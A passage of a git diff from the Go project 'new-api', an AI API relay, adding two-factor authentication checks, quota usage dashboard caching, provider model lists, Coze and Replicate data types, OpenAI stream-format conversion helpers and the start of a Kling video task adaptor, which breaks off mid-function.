+			common.SysLog("更新2FA失败次数失败: " + err.Error())
+		}
+		return false, nil
+	}
+
+	// 验证成功，重置失败次数并更新最后使用时间
+	now := time.Now()
+	t.FailedAttempts = 0
+	t.LockedUntil = nil
+	t.LastUsedAt = &now
+
+	if err := t.Update(); err != nil {
+		common.SysLog("更新2FA使用记录失败: " + err.Error())
+	}
+
+	return true, nil
+}
+
+// ValidateBackupCodeAndUpdateUsage 验证备用码并更新使用记录
+func (t *TwoFA) ValidateBackupCodeAndUpdateUsage(code string) (bool, error) {
+	// 检查是否被锁定
+	if t.IsLocked() {
+		return false, fmt.Errorf("账户已被锁定，请在%v后重试", t.LockedUntil.Format("2006-01-02 15:04:05"))
+	}
+
+	// 验证备用码
+	valid, err := ValidateBackupCode(t.UserId, code)
+	if err != nil {
+		return false, err
+	}
+
+	if !valid {
+		// 增加失败次数
+		if err := t.IncrementFailedAttempts(); err != nil {
+			common.SysLog("更新2FA失败次数失败: " + err.Error())
+		}
+		return false, nil
+	}
+
+	// 验证成功，重置失败次数并更新最后使用时间
+	now := time.Now()
+	t.FailedAttempts = 0
+	t.LockedUntil = nil
+	t.LastUsedAt = &now
+
+	if err := t.Update(); err != nil {
+		common.SysLog("更新2FA使用记录失败: " + err.Error())
+	}
+
+	return true, nil
+}
+
+// GetTwoFAStats 获取2FA统计信息（管理员使用）
+func GetTwoFAStats() (map[string]interface{}, error) {
+	var totalUsers, enabledUsers int64
+
+	// 总用户数
+	if err := DB.Model(&User{}).Count(&totalUsers).Error; err != nil {
+		return nil, err
+	}
+
+	// 启用2FA的用户数
+	if err := DB.Model(&TwoFA{}).Where("is_enabled = true").Count(&enabledUsers).Error; err != nil {
+		return nil, err
+	}
+
+	enabledRate := float64(0)
+	if totalUsers > 0 {
+		enabledRate = float64(enabledUsers) / float64(totalUsers) * 100
+	}
+
+	return map[string]interface{}{
+		"total_users":   totalUsers,
+		"enabled_users": enabledUsers,
+		"enabled_rate":  fmt.Sprintf("%.1f%%", enabledRate),
+	}, nil
+}
diff --git a/new-api/model/usedata.go b/new-api/model/usedata.go
new file mode 100644
index 0000000..f0ea055
--- /dev/null
+++ b/new-api/model/usedata.go
@@ -0,0 +1,138 @@
+package model
+
+import (
+	"fmt"
+	"sync"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"gorm.io/gorm"
+)
+
+// QuotaData 柱状图数据
+type QuotaData struct {
+	Id        int    `json:"id"`
+	UserID    int    `json:"user_id" gorm:"index"`
+	Username  string `json:"username" gorm:"index:idx_qdt_model_user_name,priority:2;size:64;default:''"`
+	ModelName string `json:"model_name" gorm:"index:idx_qdt_model_user_name,priority:1;size:64;default:''"`
+	CreatedAt int64  `json:"created_at" gorm:"bigint;index:idx_qdt_created_at,priority:2"`
+	TokenUsed int    `json:"token_used" gorm:"default:0"`
+	Count     int    `json:"count" gorm:"default:0"`
+	Quota     int    `json:"quota" gorm:"default:0"`
+}
+
+func UpdateQuotaData() {
+	for {
+		if common.DataExportEnabled {
+			common.SysLog("正在更新数据看板数据...")
+			SaveQuotaDataCache()
+		}
+		time.Sleep(time.Duration(common.DataExportInterval) * time.Minute)
+	}
+}
+
+var CacheQuotaData = make(map[string]*QuotaData)
+var CacheQuotaDataLock = sync.Mutex{}
+
+func logQuotaDataCache(userId int, username string, modelName string, quota int, createdAt int64, tokenUsed int) {
+	key := fmt.Sprintf("%d-%s-%s-%d", userId, username, modelName, createdAt)
+	quotaData, ok := CacheQuotaData[key]
+	if ok {
+		quotaData.Count += 1
+		quotaData.Quota += quota
+		quotaData.TokenUsed += tokenUsed
+	} else {
+		quotaData = &QuotaData{
+			UserID:    userId,
+			Username:  username,
+			ModelName: modelName,
+			CreatedAt: createdAt,
+			Count:     1,
+			Quota:     quota,
+			TokenUsed: tokenUsed,
+		}
+	}
+	CacheQuotaData[key] = quotaData
+}
+
+func LogQuotaData(userId int, username string, modelName string, quota int, createdAt int64, tokenUsed int) {
+	// 只精确到小时
+	createdAt = createdAt - (createdAt % 3600)
+
+	CacheQuotaDataLock.Lock()
+	defer CacheQuotaDataLock.Unlock()
+	logQuotaDataCache(userId, username, modelName, quota, createdAt, tokenUsed)
+}
+
+func SaveQuotaDataCache() {
+	CacheQuotaDataLock.Lock()
+	defer CacheQuotaDataLock.Unlock()
+	size := len(CacheQuotaData)
+	// 如果缓存中有数据，就保存到数据库中
+	// 1. 先查询数据库中是否有数据
+	// 2. 如果有数据，就更新数据
+	// 3. 如果没有数据，就插入数据
+	for _, quotaData := range CacheQuotaData {
+		quotaDataDB := &QuotaData{}
+		DB.Table("quota_data").Where("user_id = ? and username = ? and model_name = ? and created_at = ?",
+			quotaData.UserID, quotaData.Username, quotaData.ModelName, quotaData.CreatedAt).First(quotaDataDB)
+		if quotaDataDB.Id > 0 {
+			//quotaDataDB.Count += quotaData.Count
+			//quotaDataDB.Quota += quotaData.Quota
+			//DB.Table("quota_data").Save(quotaDataDB)
+			increaseQuotaData(quotaData.UserID, quotaData.Username, quotaData.ModelName, quotaData.Count, quotaData.Quota, quotaData.CreatedAt, quotaData.TokenUsed)
+		} else {
+			DB.Table("quota_data").Create(quotaData)
+		}
+	}
+	CacheQuotaData = make(map[string]*QuotaData)
+	common.SysLog(fmt.Sprintf("保存数据看板数据成功，共保存%d条数据", size))
+}
+
+func increaseQuotaData(userId int, username string, modelName string, count int, quota int, createdAt int64, tokenUsed int) {
+	err := DB.Table("quota_data").Where("user_id = ? and username = ? and model_name = ? and created_at = ?",
+		userId, username, modelName, createdAt).Updates(map[string]interface{}{
+		"count":      gorm.Expr("count + ?", count),
+		"quota":      gorm.Expr("quota + ?", quota),
+		"token_used": gorm.Expr("token_used + ?", tokenUsed),
+	}).Error
+	if err != nil {
+		common.SysLog(fmt.Sprintf("increaseQuotaData error: %s", err))
+	}
+}
+
+func GetQuotaDataByUsername(username string, startTime int64, endTime int64) (quotaData []*QuotaData, err error) {
+	var quotaDatas []*QuotaData
+	// 从quota_data表中查询数据
+	err = DB.Table("quota_data").Where("username = ? and created_at >= ? and created_at <= ?", username, startTime, endTime).Find(&quotaDatas).Error
+	return quotaDatas, err
+}
+
+func GetQuotaDataByUserId(userId int, startTime int64, endTime int64) (quotaData []*QuotaData, err error) {
+	var quotaDatas []*QuotaData
+	// 从quota_data表中查询数据
+	err = DB.Table("quota_data").Where("user_id = ? and created_at >= ? and created_at <= ?", userId, startTime, endTime).Find(&quotaDatas).Error
+	return quotaDatas, err
+}
+
+func GetQuotaDataGroupByUser(startTime int64, endTime int64) (quotaData []*QuotaData, err error) {
+	var quotaDatas []*QuotaData
+	err = DB.Table("quota_data").
+		Select("username, created_at, sum(count) as count, sum(quota) as quota, sum(token_used) as token_used").
+		Where("created_at >= ? and created_at <= ?", startTime, endTime).
+		Group("username, created_at").
+		Find(&quotaDatas).Error
+	return quotaDatas, err
+}
+
+func GetAllQuotaDates(startTime int64, endTime int64, username string) (quotaData []*QuotaData, err error) {
+	if username != "" {
+		return GetQuotaDataByUsername(username, startTime, endTime)
+	}
+	var quotaDatas []*QuotaData
+	// 从quota_data表中查询数据
+	// only select model_name, sum(count) as count, sum(quota) as quota, model_name, created_at from quota_data group by model_name, created_at;
+	//err = DB.Table("quota_data").Where("created_at >= ? and created_at <= ?", startTime, endTime).Find(&quotaDatas).Error
+	err = DB.Table("quota_data").Select("model_name, sum(count) as count, sum(quota) as quota, sum(token_used) as token_used, created_at").Where("created_at >= ? and created_at <= ?", startTime, endTime).Group("model_name, created_at").Find(&quotaDatas).Error
+	return quotaDatas, err
+}
diff --git a/new-api/relay/channel/ai360/constants.go b/new-api/relay/channel/ai360/constants.go
new file mode 100644
index 0000000..4b09dd5
--- /dev/null
+++ b/new-api/relay/channel/ai360/constants.go
@@ -0,0 +1,14 @@
+package ai360
+
+var ModelList = []string{
+	"360gpt-turbo",
+	"360gpt-turbo-responsibility-8k",
+	"360gpt-pro",
+	"360gpt2-pro",
+	"360GPT_S2_V9",
+	"embedding-bert-512-v1",
+	"embedding_s1_v1",
+	"semantic_similarity_s1_v1",
+}
+
+var ChannelName = "ai360"
diff --git a/new-api/relay/channel/ali/constants.go b/new-api/relay/channel/ali/constants.go
new file mode 100644
index 0000000..df64439
--- /dev/null
+++ b/new-api/relay/channel/ali/constants.go
@@ -0,0 +1,14 @@
+package ali
+
+var ModelList = []string{
+	"qwen-turbo",
+	"qwen-plus",
+	"qwen-max",
+	"qwen-max-longcontext",
+	"qwq-32b",
+	"qwen3-235b-a22b",
+	"text-embedding-v1",
+	"gte-rerank-v2",
+}
+
+var ChannelName = "ali"
diff --git a/new-api/relay/channel/cohere/constant.go b/new-api/relay/channel/cohere/constant.go
new file mode 100644
index 0000000..f2d2e55
--- /dev/null
+++ b/new-api/relay/channel/cohere/constant.go
@@ -0,0 +1,12 @@
+package cohere
+
+var ModelList = []string{
+	"command-a-03-2025",
+	"command-r", "command-r-plus",
+	"command-r-08-2024", "command-r-plus-08-2024",
+	"c4ai-aya-23-35b", "c4ai-aya-23-8b",
+	"command-light", "command-light-nightly", "command", "command-nightly",
+	"rerank-english-v3.0", "rerank-multilingual-v3.0", "rerank-english-v2.0", "rerank-multilingual-v2.0",
+}
+
+var ChannelName = "cohere"
diff --git a/new-api/relay/channel/coze/dto.go b/new-api/relay/channel/coze/dto.go
new file mode 100644
index 0000000..da01bbb
--- /dev/null
+++ b/new-api/relay/channel/coze/dto.go
@@ -0,0 +1,78 @@
+package coze
+
+import "encoding/json"
+
+type CozeError struct {
+	Code    int    `json:"code"`
+	Message string `json:"message"`
+}
+
+type CozeEnterMessage struct {
+	Role        string          `json:"role"`
+	Type        string          `json:"type,omitempty"`
+	Content     any             `json:"content,omitempty"`
+	MetaData    json.RawMessage `json:"meta_data,omitempty"`
+	ContentType string          `json:"content_type,omitempty"`
+}
+
+type CozeChatRequest struct {
+	BotId              string             `json:"bot_id"`
+	UserId             json.RawMessage    `json:"user_id"`
+	AdditionalMessages []CozeEnterMessage `json:"additional_messages,omitempty"`
+	Stream             bool               `json:"stream,omitempty"`
+	CustomVariables    json.RawMessage    `json:"custom_variables,omitempty"`
+	AutoSaveHistory    bool               `json:"auto_save_history,omitempty"`
+	MetaData           json.RawMessage    `json:"meta_data,omitempty"`
+	ExtraParams        json.RawMessage    `json:"extra_params,omitempty"`
+	ShortcutCommand    json.RawMessage    `json:"shortcut_command,omitempty"`
+	Parameters         json.RawMessage    `json:"parameters,omitempty"`
+}
+
+type CozeChatResponse struct {
+	Code int                  `json:"code"`
+	Msg  string               `json:"msg"`
+	Data CozeChatResponseData `json:"data"`
+}
+
+type CozeChatResponseData struct {
+	Id             string        `json:"id"`
+	ConversationId string        `json:"conversation_id"`
+	BotId          string        `json:"bot_id"`
+	CreatedAt      int64         `json:"created_at"`
+	LastError      CozeError     `json:"last_error"`
+	Status         string        `json:"status"`
+	Usage          CozeChatUsage `json:"usage"`
+}
+
+type CozeChatUsage struct {
+	TokenCount  int `json:"token_count"`
+	OutputCount int `json:"output_count"`
+	InputCount  int `json:"input_count"`
+}
+
+type CozeChatDetailResponse struct {
+	Data   []CozeChatV3MessageDetail `json:"data"`
+	Code   int                       `json:"code"`
+	Msg    string                    `json:"msg"`
+	Detail CozeResponseDetail        `json:"detail"`
+}
+
+type CozeChatV3MessageDetail struct {
+	Id               string          `json:"id"`
+	Role             string          `json:"role"`
+	Type             string          `json:"type"`
+	BotId            string          `json:"bot_id"`
+	ChatId           string          `json:"chat_id"`
+	Content          json.RawMessage `json:"content"`
+	MetaData         json.RawMessage `json:"meta_data"`
+	CreatedAt        int64           `json:"created_at"`
+	SectionId        string          `json:"section_id"`
+	UpdatedAt        int64           `json:"updated_at"`
+	ContentType      string          `json:"content_type"`
+	ConversationId   string          `json:"conversation_id"`
+	ReasoningContent string          `json:"reasoning_content"`
+}
+
+type CozeResponseDetail struct {
+	Logid string `json:"logid"`
+}
diff --git a/new-api/relay/channel/deepseek/constants.go b/new-api/relay/channel/deepseek/constants.go
new file mode 100644
index 0000000..83f0133
--- /dev/null
+++ b/new-api/relay/channel/deepseek/constants.go
@@ -0,0 +1,9 @@
+package deepseek
+
+var ModelList = []string{
+	"deepseek-chat", "deepseek-reasoner",
+	"deepseek-v4-flash", "deepseek-v4-flash-none", "deepseek-v4-flash-max",
+	"deepseek-v4-pro", "deepseek-v4-pro-none", "deepseek-v4-pro-max",
+}
+
+var ChannelName = "deepseek"
diff --git a/new-api/relay/channel/lingyiwanwu/constrants.go b/new-api/relay/channel/lingyiwanwu/constrants.go
new file mode 100644
index 0000000..a634507
--- /dev/null
+++ b/new-api/relay/channel/lingyiwanwu/constrants.go
@@ -0,0 +1,9 @@
+package lingyiwanwu
+
+// https://platform.lingyiwanwu.com/docs
+
+var ModelList = []string{
+	"yi-large", "yi-medium", "yi-vision", "yi-medium-200k", "yi-spark", "yi-large-rag", "yi-large-turbo", "yi-large-preview", "yi-large-rag-preview",
+}
+
+var ChannelName = "lingyiwanwu"
diff --git a/new-api/relay/channel/mistral/constants.go b/new-api/relay/channel/mistral/constants.go
new file mode 100644
index 0000000..7f5f3ac
--- /dev/null
+++ b/new-api/relay/channel/mistral/constants.go
@@ -0,0 +1,12 @@
+package mistral
+
+var ModelList = []string{
+	"open-mistral-7b",
+	"open-mixtral-8x7b",
+	"mistral-small-latest",
+	"mistral-medium-latest",
+	"mistral-large-latest",
+	"mistral-embed",
+}
+
+var ChannelName = "mistral"
diff --git a/new-api/relay/channel/openai/helper.go b/new-api/relay/channel/openai/helper.go
new file mode 100644
index 0000000..08811a7
--- /dev/null
+++ b/new-api/relay/channel/openai/helper.go
@@ -0,0 +1,261 @@
+package openai
+
+import (
+	"encoding/json"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/logger"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	relayconstant "github.com/QuantumNous/new-api/relay/constant"
+	"github.com/QuantumNous/new-api/relay/helper"
+	"github.com/QuantumNous/new-api/service"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/samber/lo"
+
+	"github.com/gin-gonic/gin"
+)
+
+// 辅助函数
+func HandleStreamFormat(c *gin.Context, info *relaycommon.RelayInfo, data string, forceFormat bool, thinkToContent bool) error {
+	info.SendResponseCount++
+
+	switch info.RelayFormat {
+	case types.RelayFormatOpenAI:
+		return sendStreamData(c, info, data, forceFormat, thinkToContent)
+	case types.RelayFormatClaude:
+		return handleClaudeFormat(c, data, info)
+	case types.RelayFormatGemini:
+		return handleGeminiFormat(c, data, info)
+	}
+	return nil
+}
+
+func handleClaudeFormat(c *gin.Context, data string, info *relaycommon.RelayInfo) error {
+	var streamResponse dto.ChatCompletionsStreamResponse
+	if err := common.Unmarshal(common.StringToByteSlice(data), &streamResponse); err != nil {
+		return err
+	}
+
+	if streamResponse.Usage != nil {
+		info.ClaudeConvertInfo.Usage = streamResponse.Usage
+	}
+	claudeResponses := service.StreamResponseOpenAI2Claude(&streamResponse, info)
+	for _, resp := range claudeResponses {
+		helper.ClaudeData(c, *resp)
+	}
+	return nil
+}
+
+func handleGeminiFormat(c *gin.Context, data string, info *relaycommon.RelayInfo) error {
+	var streamResponse dto.ChatCompletionsStreamResponse
+	if err := common.Unmarshal(common.StringToByteSlice(data), &streamResponse); err != nil {
+		logger.LogError(c, "failed to unmarshal stream response: "+err.Error())
+		return err
+	}
+
+	geminiResponse := service.StreamResponseOpenAI2Gemini(&streamResponse, info)
+
+	// 如果返回 nil，表示没有实际内容，跳过发送
+	if geminiResponse == nil {
+		return nil
+	}
+
+	geminiResponseStr, err := common.Marshal(geminiResponse)
+	if err != nil {
+		logger.LogError(c, "failed to marshal gemini response: "+err.Error())
+		return err
+	}
+
+	// send gemini format response
+	c.Render(-1, common.CustomEvent{Data: "data: " + string(geminiResponseStr)})
+	_ = helper.FlushWriter(c)
+	return nil
+}
+
+func ProcessStreamResponse(streamResponse dto.ChatCompletionsStreamResponse, responseTextBuilder *strings.Builder, toolCount *int) error {
+	for _, choice := range streamResponse.Choices {
+		responseTextBuilder.WriteString(choice.Delta.GetContentString())
+		responseTextBuilder.WriteString(choice.Delta.GetReasoningContent())
+		if choice.Delta.ToolCalls != nil {
+			if len(choice.Delta.ToolCalls) > *toolCount {
+				*toolCount = len(choice.Delta.ToolCalls)
+			}
+			for _, tool := range choice.Delta.ToolCalls {
+				responseTextBuilder.WriteString(tool.Function.Name)
+				responseTextBuilder.WriteString(tool.Function.Arguments)
+			}
+		}
+	}
+	return nil
+}
+
+func processTokens(relayMode int, streamItems []string, responseTextBuilder *strings.Builder, toolCount *int) error {
+	streamResp := "[" + strings.Join(streamItems, ",") + "]"
+
+	switch relayMode {
+	case relayconstant.RelayModeChatCompletions:
+		return processChatCompletions(streamResp, streamItems, responseTextBuilder, toolCount)
+	case relayconstant.RelayModeCompletions:
+		return processCompletions(streamResp, streamItems, responseTextBuilder)
+	}
+	return nil
+}
+
+func processChatCompletions(streamResp string, streamItems []string, responseTextBuilder *strings.Builder, toolCount *int) error {
+	var streamResponses []dto.ChatCompletionsStreamResponse
+	if err := json.Unmarshal(common.StringToByteSlice(streamResp), &streamResponses); err != nil {
+		// 一次性解析失败，逐个解析
+		common.SysLog("error unmarshalling stream response: " + err.Error())
+		for _, item := range streamItems {
+			var streamResponse dto.ChatCompletionsStreamResponse
+			if err := json.Unmarshal(common.StringToByteSlice(item), &streamResponse); err != nil {
+				return err
+			}
+			if err := ProcessStreamResponse(streamResponse, responseTextBuilder, toolCount); err != nil {
+				common.SysLog("error processing stream response: " + err.Error())
+			}
+		}
+		return nil
+	}
+
+	// 批量处理所有响应
+	for _, streamResponse := range streamResponses {
+		for _, choice := range streamResponse.Choices {
+			responseTextBuilder.WriteString(choice.Delta.GetContentString())
+			responseTextBuilder.WriteString(choice.Delta.GetReasoningContent())
+			if choice.Delta.ToolCalls != nil {
+				if len(choice.Delta.ToolCalls) > *toolCount {
+					*toolCount = len(choice.Delta.ToolCalls)
+				}
+				for _, tool := range choice.Delta.ToolCalls {
+					responseTextBuilder.WriteString(tool.Function.Name)
+					responseTextBuilder.WriteString(tool.Function.Arguments)
+				}
+			}
+		}
+	}
+	return nil
+}
+
+func processCompletions(streamResp string, streamItems []string, responseTextBuilder *strings.Builder) error {
+	var streamResponses []dto.CompletionsStreamResponse
+	if err := json.Unmarshal(common.StringToByteSlice(streamResp), &streamResponses); err != nil {
+		// 一次性解析失败，逐个解析
+		common.SysLog("error unmarshalling stream response: " + err.Error())
+		for _, item := range streamItems {
+			var streamResponse dto.CompletionsStreamResponse
+			if err := json.Unmarshal(common.StringToByteSlice(item), &streamResponse); err != nil {
+				continue
+			}
+			for _, choice := range streamResponse.Choices {
+				responseTextBuilder.WriteString(choice.Text)
+			}
+		}
+		return nil
+	}
+
+	// 批量处理所有响应
+	for _, streamResponse := range streamResponses {
+		for _, choice := range streamResponse.Choices {
+			responseTextBuilder.WriteString(choice.Text)
+		}
+	}
+	return nil
+}
+
+func handleLastResponse(lastStreamData string, responseId *string, createAt *int64,
+	systemFingerprint *string, model *string, usage **dto.Usage,
+	containStreamUsage *bool, info *relaycommon.RelayInfo,
+	shouldSendLastResp *bool) error {
+
+	var lastStreamResponse dto.ChatCompletionsStreamResponse
+	if err := common.Unmarshal(common.StringToByteSlice(lastStreamData), &lastStreamResponse); err != nil {
+		return err
+	}
+
+	*responseId = lastStreamResponse.Id
+	*createAt = lastStreamResponse.Created
+	*systemFingerprint = lastStreamResponse.GetSystemFingerprint()
+	*model = lastStreamResponse.Model
+
+	if service.ValidUsage(lastStreamResponse.Usage) {
+		*containStreamUsage = true
+		*usage = lastStreamResponse.Usage
+		if !info.ShouldIncludeUsage {
+			*shouldSendLastResp = lo.SomeBy(lastStreamResponse.Choices, func(choice dto.ChatCompletionsStreamResponseChoice) bool {
+				return choice.Delta.GetContentString() != "" || choice.Delta.GetReasoningContent() != ""
+			})
+		}
+	}
+
+	return nil
+}
+
+func HandleFinalResponse(c *gin.Context, info *relaycommon.RelayInfo, lastStreamData string,
+	responseId string, createAt int64, model string, systemFingerprint string,
+	usage *dto.Usage, containStreamUsage bool) {
+
+	switch info.RelayFormat {
+	case types.RelayFormatOpenAI:
+		if info.ShouldIncludeUsage && !containStreamUsage {
+			response := helper.GenerateFinalUsageResponse(responseId, createAt, model, *usage)
+			response.SetSystemFingerprint(systemFingerprint)
+			helper.ObjectData(c, response)
+		}
+		helper.Done(c)
+
+	case types.RelayFormatClaude:
+		var streamResponse dto.ChatCompletionsStreamResponse
+		if err := common.Unmarshal(common.StringToByteSlice(lastStreamData), &streamResponse); err != nil {
+			common.SysLog("error unmarshalling stream response: " + err.Error())
+			return
+		}
+
+		info.ClaudeConvertInfo.Usage = usage
+
+		claudeResponses := service.StreamResponseOpenAI2Claude(&streamResponse, info)
+		for _, resp := range claudeResponses {
+			_ = helper.ClaudeData(c, *resp)
+		}
+		info.ClaudeConvertInfo.Done = true
+
+	case types.RelayFormatGemini:
+		var streamResponse dto.ChatCompletionsStreamResponse
+		if err := common.Unmarshal(common.StringToByteSlice(lastStreamData), &streamResponse); err != nil {
+			common.SysLog("error unmarshalling stream response: " + err.Error())
+			return
+		}
+
+		// 这里处理的是 openai 最后一个流响应，其 delta 为空，有 finish_reason 字段
+		// 因此相比较于 google 官方的流响应，由 openai 转换而来会多一个 parts 为空，finishReason 为 STOP 的响应
+		// 而包含最后一段文本输出的响应（倒数第二个）的 finishReason 为 null
+		// 暂不知是否有程序会不兼容。
+
+		geminiResponse := service.StreamResponseOpenAI2Gemini(&streamResponse, info)
+
+		// openai 流响应开头的空数据
+		if geminiResponse == nil {
+			return
+		}
+
+		geminiResponseStr, err := common.Marshal(geminiResponse)
+		if err != nil {
+			common.SysLog("error marshalling gemini response: " + err.Error())
+			return
+		}
+
+		// 发送最终的 Gemini 响应
+		c.Render(-1, common.CustomEvent{Data: "data: " + string(geminiResponseStr)})
+		_ = helper.FlushWriter(c)
+	}
+}
+
+func sendResponsesStreamData(c *gin.Context, streamResponse dto.ResponsesStreamResponse, data string) {
+	if data == "" {
+		return
+	}
+	helper.ResponseChunkData(c, streamResponse, data)
+}
diff --git a/new-api/relay/channel/replicate/constants.go b/new-api/relay/channel/replicate/constants.go
new file mode 100644
index 0000000..b047bcf
--- /dev/null
+++ b/new-api/relay/channel/replicate/constants.go
@@ -0,0 +1,12 @@
+package replicate
+
+const (
+	// ChannelName identifies the replicate channel.
+	ChannelName = "replicate"
+	// ModelFlux11Pro is the default image generation model supported by this channel.
+	ModelFlux11Pro = "black-forest-labs/flux-1.1-pro"
+)
+
+var ModelList = []string{
+	ModelFlux11Pro,
+}
diff --git a/new-api/relay/channel/replicate/dto.go b/new-api/relay/channel/replicate/dto.go
new file mode 100644
index 0000000..2ff06dc
--- /dev/null
+++ b/new-api/relay/channel/replicate/dto.go
@@ -0,0 +1,19 @@
+package replicate
+
+type PredictionResponse struct {
+	Status string           `json:"status"`
+	Output any              `json:"output"`
+	Error  *PredictionError `json:"error"`
+}
+
+type PredictionError struct {
+	Code    string `json:"code"`
+	Message string `json:"message"`
+	Detail  string `json:"detail"`
+}
+
+type FileUploadResponse struct {
+	Urls struct {
+		Get string `json:"get"`
+	} `json:"urls"`
+}
diff --git a/new-api/relay/channel/task/kling/adaptor.go b/new-api/relay/channel/task/kling/adaptor.go
new file mode 100644
index 0000000..413ade0
--- /dev/null
+++ b/new-api/relay/channel/task/kling/adaptor.go
@@ -0,0 +1,416 @@
+package kling
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"math"
+	"net/http"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/model"
+
+	"github.com/samber/lo"
+
+	"github.com/gin-gonic/gin"
+	"github.com/golang-jwt/jwt/v5"
+	"github.com/pkg/errors"
+
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/relay/channel"
+	taskcommon "github.com/QuantumNous/new-api/relay/channel/task/taskcommon"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/service"
+)
+
+// ============================
+// Request / Response structures
+// ============================
+
+type TrajectoryPoint struct {
+	X int `json:"x"`
+	Y int `json:"y"`
+}
+
+type DynamicMask struct {
+	Mask         string            `json:"mask,omitempty"`
+	Trajectories []TrajectoryPoint `json:"trajectories,omitempty"`
+}
+
+type CameraConfig struct {
+	Horizontal float64 `json:"horizontal,omitempty"`
+	Vertical   float64 `json:"vertical,omitempty"`
+	Pan        float64 `json:"pan,omitempty"`
+	Tilt       float64 `json:"tilt,omitempty"`
+	Roll       float64 `json:"roll,omitempty"`
+	Zoom       float64 `json:"zoom,omitempty"`
+}
+
+type CameraControl struct {
+	Type   string        `json:"type,omitempty"`
+	Config *CameraConfig `json:"config,omitempty"`
+}
+
+type requestPayload struct {
+	Prompt         string         `json:"prompt,omitempty"`
+	Image          string         `json:"image,omitempty"`
+	ImageTail      string         `json:"image_tail,omitempty"`
+	NegativePrompt string         `json:"negative_prompt,omitempty"`
+	Mode           string         `json:"mode,omitempty"`
+	Duration       string         `json:"duration,omitempty"`
+	AspectRatio    string         `json:"aspect_ratio,omitempty"`
+	ModelName      string         `json:"model_name,omitempty"`
+	Model          string         `json:"model,omitempty"` // Compatible with upstreams that only recognize "model"
+	CfgScale       float64        `json:"cfg_scale,omitempty"`
+	StaticMask     string         `json:"static_mask,omitempty"`
+	DynamicMasks   []DynamicMask  `json:"dynamic_masks,omitempty"`
+	CameraControl  *CameraControl `json:"camera_control,omitempty"`
+	CallbackUrl    string         `json:"callback_url,omitempty"`
+	ExternalTaskId string         `json:"external_task_id,omitempty"`
+}
+
+type responsePayload struct {
+	Code      int    `json:"code"`
+	Message   string `json:"message"`
+	TaskId    string `json:"task_id"`
+	RequestId string `json:"request_id"`
+	Data      struct {
+		TaskId        string `json:"task_id"`
+		TaskStatus    string `json:"task_status"`
+		TaskStatusMsg string `json:"task_status_msg"`
+		TaskInfo      struct {
+			ExternalTaskId string `json:"external_task_id"`
+		} `json:"task_info"`
+		WatermarkInfo struct {
+			Enabled bool `json:"enabled"`
+		} `json:"watermark_info"`
+		TaskResult struct {
+			Videos []struct {
+				Id           string `json:"id"`
+				Url          string `json:"url"`
+				WatermarkUrl string `json:"watermark_url"`
+				Duration     string `json:"duration"`
+			} `json:"videos"`
+			Images []struct {
+				Index        int    `json:"index"`
+				Url          string `json:"url"`
+				WatermarkUrl string `json:"watermark_url"`
+			} `json:"images"`
+		} `json:"task_result"`
+		CreatedAt          int64  `json:"created_at"`
+		UpdatedAt          int64  `json:"updated_at"`
+		FinalUnitDeduction string `json:"final_unit_deduction"`
+	} `json:"data"`
+}
+
+// ============================
+// Adaptor implementation
+// ============================
+
+type TaskAdaptor struct {
+	taskcommon.BaseBilling
+	ChannelType int
+	apiKey      string
+	baseURL     string
+}
+
+func (a *TaskAdaptor) Init(info *relaycommon.RelayInfo) {
+	a.ChannelType = info.ChannelType
+	a.baseURL = info.ChannelBaseUrl
+	a.apiKey = info.ApiKey
+
+	// apiKey format: "access_key|secret_key"
+}
+
+// ValidateRequestAndSetAction parses body, validates fields and sets default action.
+func (a *TaskAdaptor) ValidateRequestAndSetAction(c *gin.Context, info *relaycommon.RelayInfo) (taskErr *dto.TaskError) {
+	// Use the standard validation method for TaskSubmitReq
+	return relaycommon.ValidateBasicTaskRequest(c, info, constant.TaskActionGenerate)
+}
+
+// BuildRequestURL constructs the upstream URL.
+func (a *TaskAdaptor) BuildRequestURL(info *relaycommon.RelayInfo) (string, error) {
+	path := lo.Ternary(info.Action == constant.TaskActionGenerate, "/v1/videos/image2video", "/v1/videos/text2video")
+
+	if isNewAPIRelay(info.ApiKey) {
+		return fmt.Sprintf("%s/kling%s", a.baseURL, path), nil
+	}
+
+	return fmt.Sprintf("%s%s", a.baseURL, path), nil
+}
+
+// BuildRequestHeader sets required headers.
+func (a *TaskAdaptor) BuildRequestHeader(c *gin.Context, req *http.Request, info *relaycommon.RelayInfo) error {
+	token, err := a.createJWTToken()
+	if err != nil {
+		return fmt.Errorf("failed to create JWT token: %w", err)
+	}
+
+	req.Header.Set("Content-Type", "application/json")
+	req.Header.Set("Accept", "application/json")
+	req.Header.Set("Authorization", "Bearer "+token)
+	req.Header.Set("User-Agent", "kling-sdk/1.0")
+	return nil
+}
+
+// BuildRequestBody converts request into Kling specific format.
+func (a *TaskAdaptor) BuildRequestBody(c *gin.Context, info *relaycommon.RelayInfo) (io.Reader, error) {
+	v, exists := c.Get("task_request")
+	if !exists {
+		return nil, fmt.Errorf("request not found in context")
+	}
+	req := v.(relaycommon.TaskSubmitReq)
+
+	body, err := a.convertToRequestPayload(&req, info)
+	if err != nil {
+		return nil, err
+	}
+	if body.Image == "" && body.ImageTail == "" {
+		c.Set("action", constant.TaskActionTextGenerate)
+	}
+	data, err := common.Marshal(body)
+	if err != nil {
+		return nil, err
+	}
+	return bytes.NewReader(data), nil
+}
+
+// DoRequest delegates to common helper.
+func (a *TaskAdaptor) DoRequest(c *gin.Context, info *relaycommon.RelayInfo, requestBody io.Reader) (*http.Response, error) {
+	if action := c.GetString("action"); action != "" {
+		info.Action = action
+	}
+	return channel.DoTaskApiRequest(a, c, info, requestBody)
+}
+
+// DoResponse handles upstream response, returns taskID etc.
+func (a *TaskAdaptor) DoResponse(c *gin.Context, resp *http.Response, info *relaycommon.RelayInfo) (taskID string, taskData []byte, taskErr *dto.TaskError) {
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
